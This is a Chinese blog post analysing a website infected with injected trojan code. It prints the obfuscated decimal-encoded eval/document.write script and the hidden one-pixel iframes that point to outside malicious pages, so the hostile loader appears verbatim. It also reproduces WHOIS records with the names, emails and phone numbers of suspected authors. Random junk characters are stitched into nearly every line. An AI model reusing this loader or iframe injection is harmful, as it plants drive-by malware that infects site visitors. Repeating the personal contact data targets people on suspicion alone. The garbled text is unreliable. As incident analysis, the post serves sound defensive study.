首发在我的博客里面，
m39 `f,M =d`,W9D http://www.areway.cn/?p=175 qbmy~\ZY w $pBACX >l RX+? 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
|eJ4"OPC
|G{TA <script>t=’60,105,102,114,97,109,101,
G V * B$ 32,115,114,99,61,104,116,116,112,58,47,47,
]7Tjt A.\q 102,114,101,101,46,117,45,117,117,117,46,99,
?HttqK) 110,47,101,114,114,111,114,46,104,116,109,
nRJcYl~
Y 32,119,105,100,116,104,61,49,48,48,32,104,
crUt8L-B4 101,105,103,104,116,61,48,62,60,47,105,102,
AW1691Q 114,97,109,101,62′;
//Ck1cI#h t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
[P407Sa" cOq^}Ohan <script>t=’60,105,102,114,97,109,101,32,115,
7 i,}F|#8 114,99,61,104,116,116,112,58,47,47,102,114,
hC=9%u{r? 101,101,46,117,45,117,117,117,46,99,110,47,
@u#Tx% 101,114,114,111,114,46,104,116,109,32,119,
t=Tu-2,k 105,100,116,104,61,49,48,48,32,104,101,105,
8" XbW7 ^o 103,104,116,61,48,62,60,47,105,102,114,97,
(pNA8i%= G 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
$x JVUV document.write(t);</script>
4#!NVI3t ~bhesWk8! <html xmlns=”
y7txIe!<5 http://www.w3.org/1999/xhtml x/ lW=EQ “>
?>L sIPa <head>
ggIz) </ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
|/ 5j0 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Tn8Z2iC <title>首页 - 爱生活家庭网
0ZlF#PJA xQT`sK+ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
zVFz}kJa 转换字符串后的大概内容是（谁点击后果自付）：
O|}97a ^ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
bzz=8n `9SuDuw;s 查询玉米u-uuu.cn的详细信息：
e/'d 0Gb- Domain Name: u-uuu.cn
Xkk m~sM6 ROID: 20070901s10001s64972306-cn
*W~+Nho.A Domain Status: ok
9
N[k ?kUZ Registrant Organization: 王雷
s>~ h<B Registrant Name: 王雷
RoFy2A=_ Administrative Email:
czlovexs@126.com BrcT`MM[(= Sponsoring Registrar: 北京万网志成科技有限公司
D7T(B=S6 Name Server:ns.yovole.com
(sSMH6iCif Name Server:ns1.yovole.com
7|3Qcn7P)@ Registration Date: 2007-09-01 17:54
<N"t[N70; Expiration Date: 2008-09-01 17:54
>E^?<}E~. 最后PING了一下地址 都没有什么….
0S@O] k) a5WVDh, cR 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
KZO ! <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
J 2%^%5&0 <script language=”javascript” src=”
rP.qCl+J http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script K[Rl R+j >
-e#YWMo( 这个玉米应该有可能是木马作者的：
Se Aokz> foafau.info的详细信息：
9
O| "Ws>{ Access to INFO WHOIS information is provided to assist persons in
lbrob' '+ determining the contents of a domain name registration record in the
)t={+^Xe Afilias registry database. The data in this record is provided by
quc?]rb Afilias Limited for informational purposes only, and Afilias does not
=O~1L m; guarantee its accuracy. This service is intended only for query-based
b)@%gS\F access. You agree that you will use this data only for lawful purposes
}xTTz,Oj$ and that, under no circumstances will you use this data to: (a) allow,
"m +Eu|{ enable, or otherwise support the transmission by e-mail, telephone, or
&n|!
'/H facsimile of mass unsolicited, commercial advertising or solicitations
i' J.c4 to entities other than the data recipient’s own existing customers; or
pH.wCD:1n (b) enable high volume, automated, electronic processes that send
Sr~zN:wn queries or data to the systems of Registry Operator, a Registrar, or
5sC{5LJzC Afilias except as reasonably necessary to register domain names or
rb%P30qc4 modify existing registrations. All rights reserved. Afilias reserves
`),7* gn*) the right to modify these terms at any time. By submitting this query,
fV * x2g7w you agree to abide by this policy.
y
%Get Domain ID:D22418703-LRMS
37ll8 Domain Name:FOAFAU.INFO
x~$P.X7(~ Created On:20-Nov-2007 16:05:42 UTC
#"O9\X/B Last Updated On:20-Nov-2007 16:05:44 UTC
zr&K0a{hc Expiration Date:20-Nov-2008 16:05:42 UTC
Al3Hu-Hf;` Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
| }es+<P Status:CLIENT DELETE PROHIBITED
<.l5>mgkCw Status:CLIENT RENEW PROHIBITED
Ki ^m&P Status:CLIENT TRANSFER PROHIBITED
R=i$*6}a Status:CLIENT UPDATE PROHIBITED
jn^i4f>N Status:TRANSFER PROHIBITED
CUnZ}@?d Registrant ID:GODA-040110615
1;fs`k0p Registrant Name:liu hong
dDi 1{s Registrant Organization:
To]WCFp6@ Registrant Street1:beijing
KAgiY4 Registrant Street2:
-njxc{b Registrant Street3:
U> e@m? Registrant City:beijing
l2 gI2Cioa Registrant State/Province:
pA4/ '7nCl Registrant Postal Code:100000
*W(b = u Registrant Country:CN
/{>ds-;- Registrant Phone:+86.860108888777
*X*D,
VY Registrant Phone Ext.:
cC "7Vt9b Registrant FAX:
/p<mD-:.M Registrant FAX Ext.:
5G(y Registrant Email:bbbshiji@163.com
K.o?g?&< Admin ID:GODA-240110615
q1r\ 60M Admin Name:liu hong
/iy2j8: z Admin Organization:
*%B% BJnX Admin Street1:beijing
U,RIr8 G Admin Street2:
@F=ZGmq Admin Street3:
;NRm , Admin City:beijing
A
|NX" Admin State/Province:
L
nw+o} Admin Postal Code:100000
Z'S>i*Ts
Admin Country:CN
-
CM; sXq Admin Phone:+86.860108888777
RvDqo d Admin Phone Ext.:
3i >$g3G Admin FAX:
FE M_7M Admin FAX Ext.:
BAX])~_ Admin Email:bbbshiji@163.com
YX^{lD1Jj Billing ID:GODA-340110615
oWs&W Billing Name:liu hong
&_q;X;} Billing Organization:
S _ nTp) Billing Street1:beijing
j|lg&kN Billing Street2:
tHJ1MDw' Billing Street3:
]Y;$~qQ Billing City:beijing
jG)>{D Billing State/Province:
? 1Z\=s Billing Postal Code:100000
[C771~BL> Billing Country:CN
iW* 0V3 Billing Phone:+86.860108888777
XKks j!'B Billing Phone Ext.:
pC 5-,Z;8 Billing FAX:
5w GyM10 Billing FAX Ext.:
Kh$L~4l Billing Email:bbbshiji@163.com
(O?z6g Tech ID:GODA-140110615
gMHH3^\VH) Tech Name:liu hong
hH@018+ Tech Organization:
~ikTo - Tech Street1:beijing
1/HPcCsHb Tech Street2:
jLb3{}0 Tech Street3:
;GH(A=}/Y Tech City:beijing
>V;<K?5B`W Tech State/Province:
"T~Ps$ Tech Postal Code:100000
) }?dYk Tech Country:CN
>!b YuVHA Tech Phone:+86.860108888777
zQ)[re) Tech Phone Ext.:
~x4Y57 Tech FAX:
NA0hQGN} Tech FAX Ext.:
G1|
Tu"
Tech Email:bbbshiji@163.com
9F,jvCM63 Name Server:NS27.DOMAINCONTROL.COM
Nk=M Name Server:NS28.DOMAINCONTROL.COM
i"_f46r P Name Server:
_10#rucr Name Server:
4SG[_:+! Name Server:
J~ c]9t Name Server:
j$8 ~M Name Server:
aP"i_!\.aa Name Server:
*YtITyDS3> Name Server:
Nc;7KMOIA Name Server:
F." L{g Name Server:
F6q}(+9i Name Server:
@|d|orMC Name Server:
g|n P r)< >!a*wf~] 接着下载每个文件里面的代码：
2V~Yb1P 一步一步看..
j?.VJ^Ff/u 
]+@b=J 2b 
= x[`W9.D 
9$)4 C| 
A#8/:t1AW 
d[O.UzQ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
